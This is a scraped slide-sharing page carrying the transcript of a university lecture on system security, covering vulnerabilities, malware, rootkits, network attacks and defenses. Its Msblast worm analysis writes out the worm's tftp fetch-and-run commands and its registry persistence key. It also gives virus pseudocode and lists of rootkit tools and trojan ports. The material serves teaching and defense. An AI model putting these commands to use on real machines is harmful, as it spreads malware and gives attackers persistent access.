system security l.
Download
Skip this Video
Loading SlideShow in 5 Seconds..
System Security PowerPoint Presentation
Download Presentation
System Security

Loading in 2 Seconds...

play fullscreen
1 / 75

System Security - PowerPoint PPT Presentation


  • 264 Views
  • Uploaded on

System Security Prabhaker Mateti Wright State University A Few Assessments … Top 20 Vulnerabilities/ NIPC+FBI+SANS (May 29, 2003) W1 Internet Information Services (IIS) W2 MDAC Remote Data Services W3 Microsoft SQL Server W4 NETBIOS -- Unprotected Networking Shares

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about 'System Security' - Solomon


Download Now An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
system security

System Security

Prabhaker Mateti

Wright State University

top 20 vulnerabilities nipc fbi sans may 29 2003
Top 20 Vulnerabilities/ NIPC+FBI+SANS(May 29, 2003)
  • W1 Internet Information Services (IIS)
  • W2 MDAC Remote Data Services
  • W3 Microsoft SQL Server
  • W4 NETBIOS -- Unprotected Networking Shares
  • W5 Anonymous Logon -- Null Sessions
  • W6 LAN Manager Authentication -- Weak LM Hashing
  • W7 No Passwords or Weak Passwords
  • W8 Internet Explorer
  • W9 Remote Registry Access
  • WA Windows Scripting Host

Mateti/WrightStateU

top 20 vulnerabilities nipc fbi sans may 29 20034
Top 20 Vulnerabilities/ NIPC+FBI+SANS(May 29, 2003)
  • U1 RPC Remote Procedure Calls
  • U2 Apache Web Server
  • U3 Secure Shell (SSH)
  • U4 SNMP
  • U5 File Transfer Protocol (FTP)
  • U6 R-Services -- Trust Relationships
  • U7 Line Printer Daemon (LPD)
  • U8 Sendmail
  • U9 BIND/DNS
  • UA No Passwords or Weak Passwords

Mateti/WrightStateU

threats to the national infrastructures defense science board
Threats To The National Infrastructures (Defense Science Board)
  • Incomplete, inquisitive and unintentional blunders.
  • Hackers driven by technical challenges.
  • Disgruntled employees or customers seeking revenge.
  • Criminals interested in personal financial gain or stealing services.
  • Organized crime with the intent of hiding something or financial gain.
  • Organized terrorist groups attempting to influence U.S. policy by isolated attacks.
  • Foreign espionage agents seeking to exploit information for economic, political, or military purposes.
  • Tactical countermeasures intended to disrupt specific weapons or command structures.
  • Multifaceted tactical information warfare applied in a broad orchestrated manner to disrupt a major U.S. military mission.
  • Large organized groups or nation-states intent on overthrowing the United States.

Mateti/WrightStateU

security incidents cert
Security Incidents / CERT
  • 76,404 Jan –June 2003
  • 82,094 all of 2002
      • “CERT uses the word "incident" as an administrative term that groups together any related set of activities; for example, activities in which the same tool or exploit is used by an intruder. A single "incident" can involve anything from a single host computer to a very large number of host computers, at a single site or at hundreds of thousands of sites.”

Mateti/WrightStateU

number of hosts in the dns isc org internet domain survey jan 2003
Number of Hosts in the DNS(isc.org Internet Domain Survey, Jan 2003)

Jan 2003 171,638,297

Jul 2002 162,128,493

Jan 2002 147,344,723

Jul 2001 125,888,197

Jan 2001 109,574,429

Jul 2000 93,047,785

Jan 2000 72,398,092

Mateti/WrightStateU

so you got r00ted
“So you got r00ted.’’
  • Your machine has been compromised.
  • root = administrator = super-user
  • An unauthorized user has obtained root privileges.
  • A rootkit may have been installed.
  • Forensic analyses made with tools existing on that system are unreliable.

Mateti/WrightStateU

denial of service dos
Denial of Service (DoS)
  • We think of computer systems as providing services to authorized users.
  • When a system is deliberately made to crash, or made to run legitimate users' programs so very slowly that it is unusable, we refer to it as a "denial of service attack."
  • The attacker accomplishes this by running certain cleverly composed programs, and is pre-aware of the consequences. 

Mateti/WrightStateU

black hats v white hats
Black Hats v. White Hats
  • Black hats are the "bad" guys in that they use their knowledge to unauthorizedly break into even more systems, and pass their knowledge to other insiders.
  • White hats are the "good" guys: they are mostly into forensics and prevention of attacks. 

Mateti/WrightStateU

vulnerability
Vulnerability, …
  • Vulnerability: A weakness that can be exploited to cause damage.
  • Attack: A method of exploiting a vulnerability.
  • Threat: A motivated, capable adversary that mounts attacks.

Mateti/WrightStateU

hacker v attacker v intruder
Hacker v. Attacker v. Intruder
  • Hacker = One who programs enthusiastically, even obsessively.
  • An expert at a particular program, as in ‘a Unix hacker’.
  • A hacker enjoys exploring the details of programmable systems and how to stretch their capabilities.
  • A hacker has ethics.

Mateti/WrightStateU

viruses
Viruses
  • Viruses are "programs" that modify other programs on a computer, inserting copies of themselves. 
  • Viruses are not officiallyprograms:
    • They cannot run on their own.
    • Need to have some host program.
    • When the host program is run, the virus runs.

Mateti/WrightStateU

structure of viruses
Structure of Viruses

V() {

infectExecutable();

if (triggered()) doDamage();

jump to main of infected program;

}

void infectExecutable() {

file = chose an uninfected executable file; prepend V to file;

}

void doDamage() { ... }

int triggered() { return (some test? 1 : 0); }

Mateti/WrightStateU

worms
Worms
  • Worms are programs that propagate from computer to computer on a network.
  • Worms  can run independently.
  • Worms may have (different) portions of themselves running on many different machines.
  • Worms do not change other programs, although they may carry other code that does.

Mateti/WrightStateU

trojans
Trojans
  • A Trojan mimics the functionality of its namesake legitimate program.
  • But has a hidden “agenda.”
  • Ex: wu-ftpd Trojan - Login with specific user/password gives a root shell.

Mateti/WrightStateU

backdoors
Backdoors
  • Also called trap doors.
  • Allow unauthorized access to a system.
  • The absence of backdoors cannot be established.

Mateti/WrightStateU

malware
Malware
  • Viruses + Worms + Trojans + …
  • Any “program” that has a “malicious” intent …

Mateti/WrightStateU

system security22
System Security
  • “System Security” =

Computer Security + Network Security + Internet Security

  • Trojan Horses, Viruses and Worms
  • Privacy and Authentication
  • TCP/IP exploits
  • Firewalls
  • Secure Configuration of Personal Machines
  • Buffer Overflow and Other Bug Exploitation
  • Writing Bug-free and Secure Software
  • Secure e-Commerce Transactions

Mateti/WrightStateU

improper configuration
Improper Configuration
  • Out of the box installations are rarely properly configured.
  • Standard user accounts with standard passwords.
  • Running unneeded services.
  • Leaving sensitive files read/write-open.

Mateti/WrightStateU

fortification
Fortification
  • Start with a properly configured system.
  • Delete weak or unneeded components.
  • Add protective layers.
  • Keep detailed logs.

Mateti/WrightStateU

hardened os
Hardened OS
  • Often “equated” with fortification.
  • Rebuilding an OS from the same source code but by using a more rigorous compiler.
  • Redesigning portions of an OS.
  • Statically v. dynamically configured.

Mateti/WrightStateU

rootkits
Rootkits
  • “A rootkit is a collection of tools and utilities that attackers use to hide their presence and gather data to help them infiltrate further across the network. Rootkits insert backdoors, install Trojans, and patch existing programs.’’
      • A rootkit may disable auditing when a certain user is logged on.
      • A rootkit could allow anyone to log in if a certain backdoor password is used.
      • A rootkit could patch the kernel itself, allowing anyone to run privileged code if they use a special filename
  • Installed after the attacker gains access.
  • Cannot be detected by firewalls or anti-virus scanners.
  • 203 results for search “rootkit’’ on www.packetstormsecurity.org

Mateti/WrightStateU

rootkits28
Rootkits
  • “Rootkit” was originally a Unix term, derived from the word “root”.
  • Unix rootkits typically replace system binaries with trojaned binaries.
  • The trojaned binaries hide the attacker activities

Mateti/WrightStateU

windows rootkit
Windows Rootkit
  • A Windows rootkit typically replaces APIs, not binaries.
  • Any program that calls those replaced APIs is potentially affected.
  • The rootkit typically hides itself using the hacked Windows installation.
  • A typical Windows rootkit can hide files, folders, processes, services, and registry entries

Mateti/WrightStateU

windows rootkit examples
Windows Rootkit Examples
  • null.sys
  • HE4Hook
  • Hacker Defender
  • Slanret
  • He4Hook
  • Vanquish
  • Fu

Mateti/WrightStateU

null session
Null session
  • Unauthenticated connection
      • Empty username, empty password
  • “Null sessions can *always* be established to NT4, Windows 2000, and Windows XP machines. If the machine's server service is enabled, and ports 139 or 445 are available, then you can do a net use with anonymous credentials, and the system will respond with "Command completed successfully". This has not changed from NT4 to Win2K to XP.’’ -- FOCUS-MS@securityfocus.com

Mateti/WrightStateU

linux rootkit examples
Linux Rootkit Examples
  • Linux Rootkit (LRK)
  • TeLeKit
  • Adore
  • Knark
  • t0rnkit
  • Kernel Intrusion System (KIS)

Mateti/WrightStateU

slide33

_ _ ____ _ _ _ _ ___ ___ ___| | (_)_ __ _ ___ __ | _ \ ___ ___ | |_| | _(_) |_ |_ _|_ _|_ _|| | | | '_ \| | | \ \/ / | |_) / _ \ / _ \| __| |/ / | __| | | | | | || |___| | | | | |_| |> < | _ < (_) | (_) | |_| <| | |_ | | | | | ||_____|_|_| |_|\__,_/_/\_\ |_| \_\___/ \___/ \__|_|\_\_|\__| |___|___|___|

  • chfn Trojaned! User->r00t
  • chsh Trojaned! User->r00t
  • inetd Trojaned! Remote access
  • login Trojaned! Remote access
  • ls Trojaned! Hide files
  • du Trojaned! Hide files
  • ifconfig Trojaned! Hide sniffing
  • netstat Trojaned! Hide connections
  • passwd Trojaned! User->r00t
  • ps Trojaned! Hide processes
  • top Trojaned! Hide processes
  • rshd Trojaned! Remote access
  • syslogd Trojaned! Hide logs
  • linsniffer Packet sniffer!
  • fix File fixer!
  • z2 Zap2 utmp/wtmp/lastlog eraser!
  • wted wtmp/utmp editor!
  • lled lastlog editor!
  • bindshell port/shell type daemon!
  • tcpd Trojaned! Hide connections, avoid denies

Mateti/WrightStateU

msblast exe aug 12 2003
Msblast.exe(Aug 12, 2003)
  • The exploit code is derived from the well known dcom.c exploit.
  • Exploits the MS DCOM RPC vulnerability using TCP port 135.
  • Produces a remote command line shell.
  • Runs the following commands:
      • tftp -i x.x.x.x GET msblast.exe
      • start msblast.exe
      • msblast.exe
  • Creates the following registry key to run at boot:
      • HKLM\Software\Microsoft\Windows\CurrentVersion\Run\windows auto update = 'msblast.exe'
  • The worm will begin to scan the local class B subnet, and will also generate a random address to begin scanning at, then will sequentially scan from that point forward incrementing by host address, class c, class b and class a. It can scan hosts at a rate of 20 per second.
  • The worm contains the following text, which does not get displayed:
      • “I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!”

Mateti/WrightStateU

booting up
Booting Up
  • BIOS
  • OS Kernel
  • Initialization
  • User logins

Mateti/WrightStateU

boot ini
boot.ini

[boot loader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(9)\WINDOWS

[operating systems]

C:\bootsect\hdc3grub.bin="Booting From FAT32on120GB"

multi(0)disk(0)rdisk(0)partition(3)\WINDOWS="Windows XP Pro r0 p3" /fastdetect

multi(0)disk(0)rdisk(0)partition(9)\WINDOWS="Windows XP Pro r0 p9" /fastdetect

multi(0)disk(0)rdisk(0)partition(14)\WINDOWS="Windows XP Pro r0 p14" /fastdetect

C:\bootsect\hdc3grub.bin="Linux via Grub"

Mateti/WrightStateU

boot grub menu lst
/boot/grub/menu.lst

timeout 10

default 1

title failsafe

kernel (hd0,6)/boot/vmlinuz root=/dev/hda7 failsafe devfs=nomount hdc=ide-scsi acpi=off

initrd (hd0,6)/boot/initrd.img

title linux-smp

kernel (hd0,6)/boot/vmlinuz-smp root=/dev/hda7 devfs=mount hdc=ide-scsi acpi=off

initrd (hd0,6)/boot/initrd-smp.img

title windows

root (hd0,0)

chainloader +1

Mateti/WrightStateU

human user authentication
Human User Authentication
  • Something you know
      • (e.g., a password or other secret);
  • Something you have
      • (e.g., smart card, credit card);
  • Something you are
      • (e.g., fingerprints, retinal scan, voice print).

Mateti/WrightStateU

passwords
Passwords
  • Weak passwords; social engineering.
  • telnet, ftp, … passwords travel the network in the clear; can be sniffed.
  • One Time Passwords

Mateti/WrightStateU

cryptography
Cryptography
  • "Computationally Infeasible”
      • N = 2^a * 3^b * 5^c * 7^d * ...
  • One way hash function
    • takes a variable-length input sequence of bytes and converts it into a fixed-length sequence.
    • designed to be computationally infeasible to reverse the process

Mateti/WrightStateU

symmetric keys
Symmetric Keys
  • sender and receiver of a message share a single, common key.
  • If ct = encryption (pt, key), then pt = decryption (ct, key).
  • DES
  • IDEA
  • Blowfish

Mateti/WrightStateU

public and private keys
Public and Private Keys
  • a public key known to everyone, and a private or secret key known only to the recipient of the message
  • The two keys are mathematically related, yet it is computationally infeasible to deduce one from the other.
  • A global registry of public keys is needed
  • RSA

Mateti/WrightStateU

man in the middle attack
Man-in-the-Middle Attack
  • The public key-based communication between say Alice and Bob is vulnerable.
  • Let us assume that Mallory, a cracker, not only can listen to the traffic between Alice and Bob, but also can modify, delete, and substitute Alice's and Bob's messages, as well as introduce new ones.  Mallory can impersonate Alice when talking to Bob and impersonate Bob when talking to Alice. Here is how the attack works.
  • Bob sends Alice his public key. Mallory intercepts the key and sends her own public key to Alice.
  • Alice generates a random session key, encrypts it with "Bob’s" public key (which is really Mallory's), and sends it to Bob.
  • Mallory intercepts the message. He decrypts the session key with his private key, encrypts it with Bob's public key, and sends it to Bob.
  • Bob receives the message thinking it came from Alice. He decrypts it with his private key and obtains the session key.
  • Alice and Bob start exchanging messages using the session key. Mallory, who also has that key, can now decipher the entire conversation.

Mateti/WrightStateU

buffer overflow
Buffer Overflow

“Quick: What's the computer vulnerability of the decade?  It's not the Y2K bug, according to computer science and security analysts, but a security weakness known as the buffer overflow .”

  • Executable code is injected on to the runtime stack.
  • The return address that was on the stack is modified to point to the beginning of this code.
  • The executable code chosen produces a shell.
  • A root-privileged program is so exploited; so, you are r00ted.

Mateti/WrightStateU

buffer overflow45
Buffer Overflow
  • Many of the Top 20 vulnerabilities are buffer overflow problems.
  • Caused by a simple class of programming errors.
  • C and its promiscuous style.

Mateti/WrightStateU

network security
Network Security

Mateti/WrightStateU

security of the connection
Security of the Connection
  • Least secure: Wireless networking
  • Second least secure: Always-on wired connections
  • Second most secure: Intermittent wired connections (dial-up)
  • Most secure: Never connected.

Mateti/WrightStateU

tcp ip design problems
TCP/IP Design Problems
  • Designed with too little concern for security.
  • All data, including various fields in the protocol headers, are sent in the clear.
  • Sender and Receiver in the packet can be spoofed.

Mateti/WrightStateU

ip4 spoofing
IP4 Spoofing
  • IP address: a.b.c.d, 4-bytes.
  • IP packet contains the IP addresses of sender and receiver.
  • Everything in the clear.
  • IP spoofing replaces the IP address of (usually) the sender or (in rare cases) the destination with a different address.
  • Services that authenticate based on the IP addresses are vulnerable. 
      • RPC,  NFS, r-commands (rlogin, rsh, rcp, etc.), X windows, …

Mateti/WrightStateU

ip fragment attacks
IP Fragment Attacks
  • When packets are too large to be sent in a single IP packet, due to interface hardware limitations for example, they can be split up by an intermediate router.
  • The final destination will reassemble all the fragments of an IP packet.
  • Attackers create artificially fragmented packets in order to circumvent firewalls that do not perform packet reassembly. 
  • In the IP layer implementations of nearly all OS, there are bugs in the reassembly code.
  • Attackers create fragments that trigger these bugs.

Mateti/WrightStateU

ipsec
IPsec
  • Data Confidentiality: IPSec sender can encrypt packets before transmitting them across a network.
  • Data Integrity: IPSec receiver can authenticate packets sent by the IPSec sender to ensure that the data has not been altered during transmission.
  • Data Origin Authentication: IPSec receiver can authenticate the source of the IPSec packets sent. This service is dependent upon the data integrity service.
  • Anti-Replay: IPSec receiver can detect and reject replayed packets.
  • Two encryption modes: Transport and Tunnel.

Mateti/WrightStateU

slide52
IP6
  • Expanded Addressing Capabilities
  • Header Format Simplification
  • Improved Support for Extensions and Options
  • Flow Labeling Capability
  • Authentication and Privacy Capabilities

Mateti/WrightStateU

tcp exploits
TCP Exploits
  • The SYN Flood
  • Connection Killing by RST
  • Closing a Connection by FIN
  • Connection Hijacking

Mateti/WrightStateU

covert channels
Covert Channels

Mateti/WrightStateU

probing
Probing

Mateti/WrightStateU

sniffers
Sniffers
  • A packet sniffer is a program that eavesdrops on the network traffic.
  • It copies packets as they pass the NIC.
  • An NIC in the normal mode reads packets destined to its specific MAC address, and all other packets are ignored.
  • An NIC in promiscuous mode, receives all packets regardless of the MAC address.

Mateti/WrightStateU

packet filters
Packet Filters

Mateti/WrightStateU

firewalls
Firewalls
  • Packet filters

Mateti/WrightStateU

well known trojan ports sample
Well known Trojan Portssample
  • 22 TCP Shaft
  • 23 TCP Fire Hacker
  • 41 TCP Deep Throat
  • 41 TCP Deep Throat
  • 456 TCP Hacker's Paradise
  • 901 TCP Backdoor.Devil
  • 999 TCP DeepThroat
  • 6712 TCP Sub Seven
  • 8879 TCP UDP BackOrifice 2000
  • 27444 UDP Trin00/TFN2K
  • 40412 TCP The Spy
  • 65535 TCP Adore Worm/Linux

Mateti/WrightStateU

distributed denial of service ddos
Distributed Denial of Service (DDoS)
  • Several machines participate in a DoS attack of a victim.
  • These participants are often compromised innocent machines serving the “attacks.”
  • A remote client triggers the attack servers.

Mateti/WrightStateU

dns attacks
DNS Attacks

Mateti/WrightStateU

security software
Security Software
  • Secure Shell, PGP, …
  • Firewall Kits
  • Tools
    • Top 50 Security Tools survey from www.nmap.org
    • http://www.packetfactory.net
    • nmap, SAINT, …
    • tcpdump, ethereal, snort, …
    • Password cracking
    • Tcpwrapper

Mateti/WrightStateU

ssh secure shell
SSH (Secure Shell)
  • telnet, rlogin, … do not authenticate the remote machine; SSH does.
  • The password that the user types as part of the login ritual is sent as clear text by telnet and rlogin; SSH sends it encrypted.
  • The data being sent and received by the RTF is also sent as clear text; SSH sends and receives it in encrypted form.

Mateti/WrightStateU

ssh secure shell66
SSH (Secure Shell)
  • ssh1 v. ssh2
  • SSH exploits do exist.
  • Susceptible to man in the middle attack
  • Encryption and decryption consumes computing and elapsed time.
  • Can be a nuisance. If the remote system has been legitimately reinstalled ...

Mateti/WrightStateU

ssh client and servers
SSH client and servers
  • ssh
  • putty
  • ttermpro
  • openssh

Mateti/WrightStateU

vpn virtual private network
VPN (Virtual Private Network)
  • Data travels over public networks, usually the Internet.
  • The information needed to allow the data packets to be routed between the source node and the destination node is available to the public medium as in ordinary TCP/IP traffic,
  • But, all other information is encrypted.
  • PPTP, L2TP, IPsec

Mateti/WrightStateU

file integrity
File Integrity
  • “Is the file what I installed? Did it change?”
  • Time stamps, file size, … are not reliable.
  • MD5 checksums.

The MD5 algorithm takes as input an arbitrary length byte sequence and produces a 16-byte "fingerprint" or "message digest" of the input. It is conjectured that it is computationally infeasible to produce two messages having the same message digest, or to produce any message having a given pre-specified target message digest.

Mateti/WrightStateU

scanning for viruses
Scanning for “Viruses”
  • Scanners hook themselves in the read/write methods of the file sys.
  • Search for patterns in the file content.
  • Search for specific file names, …
  • Can yield false positives.
  • Can miss identifying malware.

Mateti/WrightStateU

intrusion detection
Intrusion Detection

Mateti/WrightStateU

web sites
Web Sites
  • “There is an oceanic amount of material on network security available over the Internet.” -- A Web Page.
  • How do we define a “Security Web Site”?
  • 1000+ web sites

Mateti/WrightStateU

a few chosen security websites
A Few Chosen Security Websites
  • www.incidents.org
  • www.cert.org
  • www.cerias.purdue.edu
  • www.securityfocus.com
  • lwn.net/security
  • www.microsoft.com/security
  • www.phrack.com

Mateti/WrightStateU

links
Links
  • CEG 429 Home Pagewww.cs.wright.edu/~pmateti/Courses/429[local-link]
  • OSIS Lab Home Pagewww.cs.wright.edu/~pmateti/OSIS[local-link]
  • Support Web Sitewww.cs.wright.edu/~pmateti/InternetSecurity/[local-link]

Mateti/WrightStateU